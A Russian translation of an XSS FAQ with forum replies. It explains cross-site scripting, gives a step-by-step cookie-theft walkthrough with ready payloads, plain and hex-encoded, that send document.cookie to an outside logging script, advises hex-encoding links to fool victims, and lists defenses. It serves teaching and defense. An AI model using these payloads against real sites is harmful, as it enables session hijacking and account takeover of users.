Введение Что такое Cross Site Scripting? Что значит XSS и CSS? Какой вред можно нанести атакой Cross Site Scripting? А как насчет примеров атаки Cross Site Scripting? Я бы хотел взглянуть на процесс кражи cookie Как мне обезопасить себя, если я - производитель? Как мне обезопасить себя, если я - пользователь? Насколько часто встречаются уязвимости CSS/XSS? Может ли шифрование защитить меня? Можно ли выполнять команды, пользуясь уязвимостями CSS/XSS? Что если я не хочу патчить уязвимость CSS/XSS? Где можно взять информацию для дальнейшего понимания XSS? Введение Сегодня web-сайты интерактивнее, чем когда-либо. Большая их часть динамична и позволяет пользователю еще больше наслаждаться, путешествуя по ним. Динамическое наполнение генерируется web-приложениями, которые, в зависимости от их настроек и нужд, выводят различные данные. У динамических сайтов есть проблема, которой нет у статических - это т.н. "Cross Site Scripting" (или XSS, как это называют некоторые специалисты в области компьютерной безопасности). Сейчас существует несколько небольших заметок о уязвимостях Cross Site Scripting, но ни одна из них не объясняет эту проблему на среднем уровне или на уровне администратора. Этот FAQ был написан, чтобы обеспечить более полное понимание этой животрепещущей проблемы и дать указания по обнаружению и устранению оной. "Что такое Cross Site Scripting?" Cross site scripting (также известна, как XSS) происходит в случае получения web-приложением опасных данных от пользователя. Данные обычно берутся из формы или из гиперссылки, содержание которой опасно. Обычно пользователь переходит по этой ссылке с другого web-сайта, форума, из сообщения, полученного по электронной почте или по интернет-пейджеру. Обычно атакующий кодирует опасную часть ссылки в hex-кодах (или другими способами кодирования), чтобы ссылка выглядела менее подозрительно. После получения данных web-приложением оно выводит пользователю страницу, содержащую опасные данные, которые были изначально посланы ему, но эти данные отображаются, как действительное содержание web-сайта. "Что значит XSS и CSS?" Часто люди сокращают Cross Site Scripting до CSS. Было очень много путаницы между Cascading Style Sheets (CSS) и cross site scripting. Некоторые люди из мира безопасности вместо Cross Site Scripting употребляют аббревиатуру XSS. Если Вы услышите, как кто-нибудь говорит: "Я нашел уязвимость XSS", то знайте, что они говорят о Cross Site Scripting. "Какой вред можно нанести атакой Cross Site Scripting?" Обычно атакующие внедряют JavaScript, VBScript, ActiveX, HTML или Flash, чтобы насолить пользователю (читайте дальше для более детальной информации), или чтобы получить его информацию. Возможно все что угодно, от захвата аккаунта, изменения настроек пользователя, кражи/подмены cookie, до ложной рекламы. Новые опасные применения атак XSS находятся каждый день. Сообщение ниже (автор Brett Moore) приводит хороший пример реализации DoS-атаки и возможного авто-атакования хостов после прочтения пользователем письма в форуме. http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html "А как насчет примеров атаки Cross Site Scripting?" В популярной программе PHPnuke, написанной на PHP, много уязвимостей XSS. Из-за популярности этого продукта атакующие часто испытывают его на уязвимости XSS. Прилагаю несколько ссылок на описания уязвимостей, найденных в нем. Этот материал должен снабдить Вас несколькими примерами. http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt "Я бы хотел взглянуть на процесс кражи cookie?" В зависимости от конкретного web-приложения некоторые переменные и расположение внедрений должны быть подправлены. Помните, что это всего лишь простой пример методики атаки. Шаг 1: Наводка После того, как Вы нашли уязвимость XSS в web-приложении на сайте, посмотрите, использует ли сайт cookie. Если какая-нибудь часть web-сайта использует cookie, то их можно выкрасть у пользователей. Шаг 2: Проверка Так как реализация различных уязвимостей XSS различается, то, чтобы получилось то, что нужно, надо произвести проверку. Вставка кода в скрипт изменяет его вывод и может испортить страницу (конечный результат критический и атакующий должен будет произвести некоторые манипуляции с кодом скрипта чтобы получить нормальную страницу). Далее Вам надо будет вставить код JavaScript (или любой другой код на client-side языке) в URL, указывающий на уязвимую часть сайта. Ниже я написал несколько ссылок общего пользования - они могут быть полезны при проверке уязвимостей XSS. При переходе по одной из ссылок cookie пользователя передадутся скрипту www.cgisecurity.com/cgi-bin/cookie.cgi, который, в свою очередь, выведет их в браузер. Если Вы увидели страницу, отображающую cookie, то возможен захват аккаунта пользователя. Примеры кражи cookie на JavaScript. Пример использования ниже. ASCII-использование: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> Hex-использование: http://host/a.php?variable="><script>document.lo %63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e К сведению: Сначала запрос показан в ASCII, потом в Hex для удобства работы с буфером обмена. 1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e 3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e Это примеры используемых нами "злых" скриптов на JavaScript. Они посылают запрос на web-сайт cgisecurity.com с cookie в строке запроса. Мой скрипт на сgisecurity.com протоколирует запросы и cookie. Он делает примерно следующее: My cookie = user=zeno; id=021 My script = www.cgisecurity.com/cgi-bin/cookie.cgi На сайт отправляется запрос, похожий на этот. GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (К сведению: %20 - hex-шифровка пробела) Это примитивный, но эффективный способ кражи cookie. Логи скрипта можно найти здесь: www.cgisecurity.com/articles/cookie-theft.log Шаг 3: Выполнение XSS Приготовьте получившийся URL. Если Вы передаете его пользователю (по электронной почте, aim'у или как-нибудь еще), то убедитесь, что Вы его как минимум закодировали в hex. Код обычно выглядит подозрительно, но строка hex-символов может одурачить нескольких людей. В моем примере я только перенаправил пользователя на cookie.cgi. Если у атакующего больше времени, то он может использовать комбинацию нескольких перенаправлений и XSS, чтобы украсть cookie пользователя и вернуть их на сайт так, чтобы пользователь ничего не заметил Некоторые почтовые клиенты могут выполнить код JavaScript в процессе просмотра письма или в процессе открывания вложений. Крупные сайты, такие, как Hotmail, разрешают использование JavaScript во вложениях, но фильтруют их, чтобы избежать кражи cookie. Шаг 4: Что делать с полученной информацией После того, как пользователь запустил скрипт, информация собрана и передана cgi-скрипту. Теперь, когда у Вас есть cookie, Вы можете использовать утилиту, подобную Websleuth, для проверки возможности захвата акаунта. Это всего-лишь FAQ, а не детализированное руководство по краже и изменению cookie. Новый материал, выпущенный David Endler из iDefense дает более детальное представление о некоторых путях автоматической реализации уязвимостей XSS. Этот материал можно найти на http://www.idefense.com/XSS.html. "Как мне обезопасить себя, если я - произвoдитель?" На этот вопрос есть простой ответ. Никогда не доверяйте вводным данным и всегда фильтруйте метасимволы. Это уменьшит вероятность возникновения уязвимости XSS. Преобразование < и > в < и > тоже предполагается, если это включается в вывод скрипта. Запомните, что уязвимости XSS могут повредить Вашему бизнесу в случае информирования о них. Часто атакующие расмещают информацию о уязвимостях в общедоступных местах, уничтожая конфиденциальность информации о клиентах на сайте Вашей организации. Фильтрация < и > не является панацеей от всех атак XSS и еще неплохо было бы фильтровать ( и ): заменяя их на ( и ). "Как мне обезопасить себя, если я - пользователь?" Самый простой способ защититься в этом случае - переходить только по ссылкам, ведущим с главной страницы просматриваемого web-сайта. Если на том сайте, который Вы просматриваете в данный момент, имеется ссылка, например, на CNN, то, вместо того, чтобы щелкать на нее, посетите главный сайт CNN и используйте его поисковую систему, чтобы найти то, что Вам нужно. Этот метод решает 90% проблемы. Иногда уязвимость XSS реализуется автоматичекси, когда Вы открываете письмо или вложение. Если Вы получили письмо от неизвестного отправителя (или неприятного), не верьте ни одному слову из этого письма. Еще один способ обезопаситься - выключить JavaScript в настройках браузера. В IE поставьте настройки безопасности на максимально безопасные. Это может предотвратить кражу cookie, и, вообще-то, более безопасно. "Насколько часто встречаются уязвимости CSS/XSS?" Уязвимости Cross Site Scripting набирают популярность среди хакеров, так как это легко находимые уязвимости, зачастую присутствующие в крупных сайтах. В той или иной форме уязвимости XSS были подвержены web-сайты FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired и Newsbytes. В среднем в месяц в коммерческих продуктах находят 10-25 уязвимостей XSS и публикуют советы с описанием проблемы. "Может ли шифрование защитить меня?" Web-сайты, использующие SSL(https) ни в коей мере не защищены больше, чем незашифрованные сайты. Web-приложения работают также. Есть только одно отличие - атака производится по зашифрованному соединению. Люди обыно думают, что если на их браузере показан замочек, то все защищено. Это совсем не так. "Можно ли выполнять команды, пользуясь уязвимостями CSS/XSS?" Уязвимости XSS разрешают вставку JavaScript кода, который может разрешить выполнять команды. Если атакующий воспользуется уязвимостью в браузере, то он сможет выполнять команды на компьютере клиента. Если запуск команд и разрешен, то только со стороны клиента. Другими словами, уязвимость XSS может помочь использовать другие возможные уязвимости Вашего браузера. "Что если я не хочу патчить уязвимость CSS/XSS?" Если не патчить уязвимость XSS, то будет возможен захват аккаунтов пользователей на Вашем сайте. Cross Site Scripting была недавно найдена в крупных сайтах и информация о ней распространилась очень быстро. Если оставить ее, то когда-нибудь кто-нибудь может обнаружить ее на Вашем сайте и опубликовать информацию об уязвимости. Это нанесет ущерб репутации компании, характеризуя ее как некомпетентную в вопросах безопасности. Также это информирует Ваших клиентов о том, что Вы не пытаетесь справиться с появляющимися проблемами. Если Ваши клиенты не доверяют Вам, то почему они должны иметь с Вами дело? "Где можно взять информацию для дальнейшего понимания XSS?" "Cross-site scripting tears holes in Net security" (XSS - уязвимость в сетевой безопасности) http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm Статья о уязвимостях XSS http://www.perl.com/pub/a/2002/02/20/css.html "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" (Руководство CERT CA-2000-02 Внедрение опасных HTML-тегов в web-запросы клиента) http://www.cert.org/advisories/CA-2000-02.html Статья об удалении метасимволов из данных, сформированных пользователем, из cgi-скриптов. http://www.cert.org/tech_tips/cgi_metacharacters.html Статья об авторизационной системе Microsoft. http://eyeonsecurity.net/papers/passporthijack.html Статья о краже cookie. http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies Перевод выполнен Zeux из sp00fed packet.
много но фигня. что за FAQ такой? фигня какая-то. В русском интернете есть одна старая известная статья(щас лежит вроде на hsd.ru), там описывается всего лишь один пример, но он и то дает бОльшее понимание об xss, не говоря уже о наших статьях. А вобще на главной у нас висит отличный материал с microsoft.com переведенный Алголом
Да не...нето чтоб я искал, просто нигде в подобных статьях нету ответов на такие вопросы как: "Как мне обезопасить себя, если я - производитель? Как мне обезопасить себя, если я - пользователь? Насколько часто встречаются уязвимости Css/xss? Может ли шифрование защитить меня?"
